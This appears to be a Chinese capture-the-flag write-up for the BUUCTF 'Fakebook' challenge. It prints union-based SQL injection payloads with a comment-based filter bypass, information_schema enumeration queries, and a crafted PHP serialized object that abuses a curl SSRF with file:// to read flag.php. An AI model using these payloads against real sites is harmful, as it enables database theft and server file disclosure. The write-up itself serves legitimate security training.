BUUCTF SSRF
[网鼎杯 2018]Fakebook
考点:SSRF、php反序列化、sql注入-union联合查询
解题
1、
看这页面我感觉它存在sql注入
注册一下
发现点击输入的用户名会跳转到/view.php?no=1
加载了部分百度的页面,但在网络里,本地没有www.baidu.com的请求,可能存在SSRF
/view.php?no=1-0
判断出该注入点是数字型注入
?no=1 order by 5
->4列
用union联合查询
?no=1 union select 1,2,3,4
过滤了union select,用union/**/select绕过
查库名:(测出回显位在第2位)
?no=-1 union/**/select 1,database(),3,4
在报错中看出用了unserialize(),还爆了一个绝对路径
->库名:fakebook
查表名:
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'
->表名:users
查字段名:
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users'
->字段:no,username,passwd,data
查数据:
?no=-1 union/**/select 1,group_concat(data),3,4 from fakebook.users
O:8:"UserInfo":3:
data中是一串反序列化数据
看wp,访问/robots.txt(robots.txt也实属很常见),存在备份泄露
user.php.bak:
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();//初始化 cURL 会话
curl_setopt($ch, CURLOPT_URL, $url);//设置 cURL 传输选项
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);//执行 cURL 会话
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);// 获取cURL连接资源句柄的信息
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
看到curl_exec(),存在SSRF漏洞,用file://协议读取flag.php,对序列化的内容修改读取flag.php。
构造序列化:
<?php
class UserInfo{
public $name = "";
public $age = 0;
public $blog = "";
}
$a = new UserInfo();
$a->name = "Hh0";
$a->blog = "file:///var/www/html/flag.php";
echo serialize($a);
O:8:"UserInfo":3:
payload:
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"Hh0";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'